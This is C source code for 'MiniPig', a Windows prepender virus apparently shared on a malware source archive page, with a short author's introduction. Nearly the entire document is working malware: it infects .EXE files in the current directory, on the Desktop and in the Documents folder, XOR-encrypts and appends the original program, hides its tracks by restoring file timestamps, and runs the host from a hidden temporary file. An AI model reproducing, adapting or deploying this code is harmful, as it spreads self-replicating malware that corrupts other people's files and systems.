|| Author: Wargame/EOF || Back to sources || View project folder ||
/************************************************************************************
* This is my new prepender virus ... its name is MiniPig. *
* It works in simple way, nothing of new, look at code. *
* It will infect current directory, desktop and Personal folder ... This could be *
* buggy so if you find some bugs you can contact me at: wargame89@yahoo.it *
* I declared the virus size as string so you can modify it in an hex-editor ... *
* Pay attenction to this value !!! *
* P.S: I tested this only under WinXP and Win98 ... bye :) *
************************************************************************************/
#include <windows.h>
#include <stdio.h>
/* This is the signature of an infected file */
#define MINIPIG_SIGNATURE "MiniPig by [WarGame,#eof]"
/* The length of the signature string ! */
#define MINIPIGSIGNATURE_LEN 26
/* This is the key used for xor encryption */
#define XoR 0x4a
/* This will contain the original virus code */
static char *VirusBody = NULL;
/* Original virus size ( Compressed with upx using -9 option )*/
static char *Str_VirSize = "16384";
static DWORD VirusSize;
/* This it the infection routine */
void Infects(void)
{
WIN32_FIND_DATA w32; /* Used by FindFirstFile() and FindNexFile() */
HANDLE SearchFD = NULL; /* Search handle */
HANDLE EXE_FD = NULL; /* File handle */
char *VictimBuf = NULL; /* This is the buffer used in I/O operations */
char Signature[MINIPIGSIGNATURE_LEN]; /* Used to check signature */
DWORD readbytes,writtenbytes; /* Used by WriteFile() and ReadFile(); */
DWORD VictimAttributes; /* Attributes of victim */
FILETIME WriteTime,LastAccessTime,CreationTime; /* Used to restore victim's time */
DWORD CryptCnt; /* Used in crypting loop */
if((SearchFD = FindFirstFile("*.EXE",&w32)) == INVALID_HANDLE_VALUE)
{
return;
}
do
{
/* Let's open the found executable! */
if((EXE_FD = CreateFile(w32.cFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ,NULL
,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL)) != INVALID_HANDLE_VALUE)
{
/* Checks it it has already been infected */
SetFilePointer(EXE_FD,-(MINIPIGSIGNATURE_LEN),0,FILE_END);
memset(Signature,0,MINIPIGSIGNATURE_LEN);
/* Reads ( possible ) signature */
ReadFile(EXE_FD,Signature,MINIPIGSIGNATURE_LEN,&readbytes,NULL);
/* Already infected !!! */
if(strstr(Signature,MINIPIG_SIGNATURE))
{
CloseHandle(EXE_FD);
continue;
}
/* Infects it !!! */
else
{
/* Saves old attributes */
VictimAttributes = w32.dwFileAttributes;
CopyMemory(&WriteTime,&w32.ftLastWriteTime,sizeof(FILETIME));
CopyMemory(&CreationTime,&w32.ftCreationTime,sizeof(FILETIME));
CopyMemory(&LastAccessTime,&w32.ftLastAccessTime,sizeof(FILETIME));
/* Grows up the victim's size */
SetFilePointer(EXE_FD,MINIPIGSIGNATURE_LEN+VirusSize,0,FILE_CURRENT);
SetEndOfFile(EXE_FD);
/* Closes the file */
CloseHandle(EXE_FD);
/* Reopens the file */
if((EXE_FD = CreateFile(w32.cFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ,NULL
,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL)) != INVALID_HANDLE_VALUE)
{
/* Failed to allocate memory ! */
if((VictimBuf = GlobalAlloc(GMEM_FIXED|GMEM_ZEROINIT,w32.nFileSizeLow)) == NULL)
{
CloseHandle(EXE_FD);
continue;
}
else
{
/* Ok Now we read victim on buffer */
ReadFile(EXE_FD,VictimBuf,w32.nFileSizeLow,&readbytes,NULL);
/* Ok overwrites with virus */
SetFilePointer(EXE_FD,-(w32.nFileSizeLow),0,FILE_CURRENT);
WriteFile(EXE_FD,VirusBody,VirusSize,&writtenbytes,NULL);
/* Crypts VictimBuf with simple XoR */
for(CryptCnt = 0;CryptCnt < w32.nFileSizeLow;CryptCnt++)
{
VictimBuf[CryptCnt] ^= XoR;
}
/* Ok writes the victim at the end */
WriteFile(EXE_FD,VictimBuf,w32.nFileSizeLow,&writtenbytes,NULL);
/* Writes the signature */
WriteFile(EXE_FD,MINIPIG_SIGNATURE,MINIPIGSIGNATURE_LEN,&writtenbytes,NULL);
/* Restores victim's file and attributes */
SetFileAttributes(w32.cFileName,VictimAttributes);
SetFileTime(EXE_FD,&CreationTime,&LastAccessTime,&WriteTime);
/* Closes All and frees memory */
CloseHandle(EXE_FD);
GlobalFree(VictimBuf);
/* DONE ! */
}
}
}
}
}while(FindNextFile(SearchFD,&w32));
/* Closes the search */
FindClose(SearchFD);
}
/* This is used to return to host */
void ReturnToHost(char *mypath)
{
HANDLE TotalFD; /* This is the handle used to read the entire file */
char *TotalBuf = NULL; /* Put the file here */
DWORD TotalSize; /* Total size of file */
HANDLE HostFD; /* Used to write host's code */
DWORD readbytes,writtenbytes; /* As usual ... :) */
DWORD DecryptCnt; /* Used for decrypting */
char *randChars = "AcGh9Kl6"; /* Used for random name generation */
char randName[10]; /* Random name for temp host */
STARTUPINFO inf_prog; /* Used for CreateProcess() */
PROCESS_INFORMATION info_pr; /* the same ... :) */
/* Reads entire file */
if((TotalFD = CreateFile(mypath,GENERIC_READ,FILE_SHARE_READ,NULL
,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL)) != INVALID_HANDLE_VALUE)
{
/* What is the size of mine ??? */
TotalSize = GetFileSize(TotalFD,NULL);
/* Allocates memory */
if((TotalBuf = GlobalAlloc(GMEM_FIXED|GMEM_ZEROINIT,TotalSize)) == NULL)
{
ExitProcess(0);
}
/* Reads and puts in buffer */
ReadFile(TotalFD,TotalBuf,TotalSize,&readbytes,NULL);
/* Closes file */
CloseHandle(TotalFD);
/* Builds random name */
srand(GetTickCount());
sprintf(randName,"%c%c%c%c%c%c.exe",randChars[rand()%8],randChars[rand()%8],
randChars[rand()%8],randChars[rand()%8],randChars[rand()%8],randChars[rand()%8]);
/* Creates the temp host file */
if((HostFD = CreateFile(randName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL
,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN,NULL)) != INVALID_HANDLE_VALUE)
{
/* Decrypts !!! */
for(DecryptCnt = VirusSize;DecryptCnt < TotalSize;DecryptCnt++)
{
TotalBuf[DecryptCnt] ^= XoR;
}
/* Hosts written! */
SetFilePointer(HostFD,0,0,FILE_BEGIN);
WriteFile(HostFD,TotalBuf+VirusSize,(TotalSize-VirusSize),&writtenbytes,NULL);
/* Frees and closes */
CloseHandle(HostFD);
GlobalFree(TotalBuf);
/* Returns to host ! */
memset(&inf_prog,0,sizeof(STARTUPINFO));
memset(&info_pr,0,sizeof(PROCESS_INFORMATION));
inf_prog.cb = sizeof(STARTUPINFO);
inf_prog.dwFlags = STARTF_USESHOWWINDOW;
inf_prog.wShowWindow = SW_SHOW;
/* Runs host ! */
CreateProcess(NULL,randName,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,
&inf_prog,&info_pr);
/* Waits and deletes tmp exe */
WaitForSingleObject(info_pr.hProcess,INFINITE);
DeleteFile(randName);
/* Exits ! */
ExitProcess(0);
}
}
else
{
ExitProcess(0);
}
}
/* This is to get special folder */
int GetSpecialFolder(char *path,char *folder)
{
HKEY hKey; /* Reg handle */
DWORD len = MAX_PATH;
memset(path,0,MAX_PATH);
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",0,KEY_QUERY_VALUE,&hKey) !=
ERROR_SUCCESS)
{
return 0; /* failed :( */
}
/* Puts found path in path buffer */
if(RegQueryValueEx(hKey,folder,0,NULL,path,&len) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return 0;
}
/* Success ! */
RegCloseKey(hKey);
return 1;
}
/* The main of virus */
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char MyPath[MAX_PATH];
HANDLE VirFD = NULL; /* Used to read virus body */
DWORD readbytes; /* As usual used by ReadFile() */
DWORD CurrentSize; /* Current size of proggy */
char CWD[MAX_PATH],OriginalCWD[MAX_PATH]; /* Used to change directory */
/* Gets its path */
GetModuleFileName(NULL,MyPath,MAX_PATH);
/* Gets its current directory */
GetCurrentDirectory(MAX_PATH,OriginalCWD);
/* Gets Virus Size */
VirusSize = atoi((char *)Str_VirSize);
/* Puts virus body in VirusBody buffer */
if((VirFD = CreateFile(MyPath,GENERIC_READ,FILE_SHARE_READ,NULL
,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL)) != INVALID_HANDLE_VALUE)
{
if((VirusBody = GlobalAlloc(GMEM_FIXED|GMEM_ZEROINIT,VirusSize)) == NULL)
{
ExitProcess(0);
}
/* Reads virus body and puts it in VirusBody */
ReadFile(VirFD,VirusBody,VirusSize,&readbytes,NULL);
/* Gets the total file size */
CurrentSize = GetFileSize(VirFD,NULL);
/* Closes virus's handle */
CloseHandle(VirFD);
}
/* Error !!! Exits !!! */
else
{
ExitProcess(0);
}
/* Infects current dir */
Infects();
/* Infects desktop */
if(GetSpecialFolder(CWD,"Desktop"))
{
SetCurrentDirectory(CWD);
Infects();
}
/* Infects personal folder ( usually named Documents ) */
if(GetSpecialFolder(CWD,"Personal"))
{
SetCurrentDirectory(CWD);
Infects();
}
/* If we are not in the first generation we return to host ! */
if(CurrentSize > VirusSize)
{
SetCurrentDirectory(OriginalCWD);
ReturnToHost(MyPath);
}
}